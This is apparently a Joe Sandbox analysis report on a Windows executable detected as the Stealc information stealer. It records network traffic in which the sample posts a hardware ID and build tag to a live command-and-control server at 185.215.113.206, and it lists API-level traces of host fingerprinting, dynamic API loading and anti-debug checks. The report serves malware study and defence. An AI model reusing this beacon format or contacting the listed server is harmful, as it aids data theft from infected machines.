Oct 29, 2024 20:43:16.452100039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:16.452274084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:16.458726883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:43:17.367207050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:43:17.367336988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:17.370271921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:17.375947952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:43:17.657844067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:43:17.658006907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:43:19.554992914 CET	49704	80	192.168.2.5	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3624	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:43:16.452274084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 20:43:17.367207050 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:43:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:43:17.370271921 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 44 45 41 42 45 43 46 38 41 39 34 32 31 33 38 31 30 34 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="hwid"2DEABECF8A942138104604------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build"tale------HDGCFHIDAKECFHIEBFCG--
Oct 29, 2024 20:43:17.657844067 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:43:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	15:43:11
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc80000
File size:	2'127'360 bytes
MD5 hash:	264DAA04DEFC6B3CB7CD8B682DB05ACD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2061051331.0000000005370000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	1327
Total number of Limit Nodes:	24

Executed Functions

Function 00C99BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01520600), ref: 00C99BF1
GetProcAddress.KERNEL32(75900000,015207C8), ref: 00C99C0A
GetProcAddress.KERNEL32(75900000,015206F0), ref: 00C99C22
GetProcAddress.KERNEL32(75900000,01520618), ref: 00C99C3A
GetProcAddress.KERNEL32(75900000,015207F8), ref: 00C99C53
GetProcAddress.KERNEL32(75900000,01528BB0), ref: 00C99C6B
GetProcAddress.KERNEL32(75900000,01516400), ref: 00C99C83
GetProcAddress.KERNEL32(75900000,01516440), ref: 00C99C9C
GetProcAddress.KERNEL32(75900000,01520810), ref: 00C99CB4
GetProcAddress.KERNEL32(75900000,01520678), ref: 00C99CCC
GetProcAddress.KERNEL32(75900000,015206A8), ref: 00C99CE5
GetProcAddress.KERNEL32(75900000,01520828), ref: 00C99CFD
GetProcAddress.KERNEL32(75900000,015162A0), ref: 00C99D15
GetProcAddress.KERNEL32(75900000,01520840), ref: 00C99D2E
GetProcAddress.KERNEL32(75900000,015206C0), ref: 00C99D46
GetProcAddress.KERNEL32(75900000,01516420), ref: 00C99D5E
GetProcAddress.KERNEL32(75900000,015206D8), ref: 00C99D77
GetProcAddress.KERNEL32(75900000,015208D0), ref: 00C99D8F
GetProcAddress.KERNEL32(75900000,01516640), ref: 00C99DA7
GetProcAddress.KERNEL32(75900000,01520900), ref: 00C99DC0
GetProcAddress.KERNEL32(75900000,01516300), ref: 00C99DD8
LoadLibraryA.KERNEL32(01520918,?,00C96CA0), ref: 00C99DEA
LoadLibraryA.KERNEL32(015208E8,?,00C96CA0), ref: 00C99DFB
LoadLibraryA.KERNEL32(015208A0,?,00C96CA0), ref: 00C99E0D
LoadLibraryA.KERNEL32(01520858,?,00C96CA0), ref: 00C99E1F
LoadLibraryA.KERNEL32(01520870,?,00C96CA0), ref: 00C99E30
GetProcAddress.KERNEL32(75070000,01520888), ref: 00C99E52
GetProcAddress.KERNEL32(75FD0000,015208B8), ref: 00C99E73
GetProcAddress.KERNEL32(75FD0000,01528E20), ref: 00C99E8B
GetProcAddress.KERNEL32(75A50000,01528C10), ref: 00C99EAD
GetProcAddress.KERNEL32(74E50000,01516520), ref: 00C99ECE
GetProcAddress.KERNEL32(76E80000,01528B40), ref: 00C99EEF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00C99F06

Strings

NtQueryInformationProcess, xrefs: 00C99EFA

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: c1bacf335adb65764304bd90b5dd7f36d40a79582c25e8fac50bb3adfb4e0f78
Instruction ID: ad2da89b77933a1d8ae0255914d0a4efb2a8f7f60b783d619082f3713a5aa475
Opcode Fuzzy Hash: c1bacf335adb65764304bd90b5dd7f36d40a79582c25e8fac50bb3adfb4e0f78
Instruction Fuzzy Hash: B9A13EB5518708AFC384EFA8FC889567BB9A74D303B50861ABB19C3671D734A941FF60

Function 00C84610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00C8465F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00C847EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C847CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C847B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C847AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C847C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C8462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C84638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00C846C8

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 4eccec2a160741fe6c1628c04b2ee7b709a9e2e10987c9057be3fc935ddfda48
Instruction ID: ec5f730de2abb4036f1bf26b55308422204d9c1a8404ff3c57180740e7bc092d
Opcode Fuzzy Hash: 4eccec2a160741fe6c1628c04b2ee7b709a9e2e10987c9057be3fc935ddfda48
Instruction Fuzzy Hash: 364103607D2615FFC62CF7EE88CEEDD7662DFC770AF40985AAA0A522C3C6B055004725

Function 00C862D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C9AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00C9AAF6

Part of subcall function 00C84800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C84889
Part of subcall function 00C84800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C84899

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

InternetOpenA.WININET(00CA0DFF,00000001,00000000,00000000,00000000), ref: 00C86331
StrCmpCA.SHLWAPI(?,0152E3C0), ref: 00C86353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C86385
HttpOpenRequestA.WININET(00000000,GET,?,0152DA28,00000000,00000000,00400100,00000000), ref: 00C863D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C8640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C86421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00C8644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C864BD
InternetCloseHandle.WININET(00000000), ref: 00C8653F
InternetCloseHandle.WININET(00000000), ref: 00C86549
InternetCloseHandle.WININET(00000000), ref: 00C86553

Strings

ERROR, xrefs: 00C86457
ERROR, xrefs: 00C86519
GET, xrefs: 00C863CC

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: d29e81c6b70504a4d95a243679b32b72a2986bb177df775e275fcd0821a7eabe
Instruction ID: 68f06181619d11ec3686ea44baa216d79e69c398e0127cf060c4702985d53bd5
Opcode Fuzzy Hash: d29e81c6b70504a4d95a243679b32b72a2986bb177df775e275fcd0821a7eabe
Instruction Fuzzy Hash: 5E716F71A00318ABDF14EFA0DC59FEE7779AB44705F108198F60A6B190DBB06B84DF95

Function 00C97690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00C976D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00C9770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C97793
RtlAllocateHeap.NTDLL(00000000), ref: 00C9779A
wsprintfA.USER32 ref: 00C977D0

Part of subcall function 00C9AA50: lstrcpy.KERNEL32(00CA0E1A,00000000), ref: 00C9AA98

Strings

C, xrefs: 00C976DC
\, xrefs: 00C976F0
:, xrefs: 00C976EC

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 1b7c21286ecb24b2676c457172191cd8fe8eacf7729b27af10cc0242968530e0
Instruction ID: ac26d84c51a85a0fe20628309b7cc48d8dfc39b3bc32203e245bfaf57f2104eb
Opcode Fuzzy Hash: 1b7c21286ecb24b2676c457172191cd8fe8eacf7729b27af10cc0242968530e0
Instruction Fuzzy Hash: 984191B1D04348ABDF10DB94DC89BDEBBB8AF08704F100199F609AB280D775AA44DBA5

Function 00C979E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C811B7), ref: 00C97A10
RtlAllocateHeap.NTDLL(00000000), ref: 00C97A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C97A2F

Memory Dump Source

Source File: 00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.2102046137.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102193900.0000000000F56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102954892.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103557076.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103687575.00000000013A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2103705828.00000000013AA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: dfd708302f10f9d5cf549c4757222bf947136371884c9afc5deba2bddd7e337f
Instruction ID: 2224b5aece6726ef9d7e396180f8258405002999add9a2fde6b09e92e82aa93d
Opcode Fuzzy Hash: dfd708302f10f9d5cf549c4757222bf947136371884c9afc5deba2bddd7e337f
Instruction Fuzzy Hash: B2F04FB1948309EBCB00DF99DD49BAEBBB8EB05711F10021AF615A2680C77559008BA1

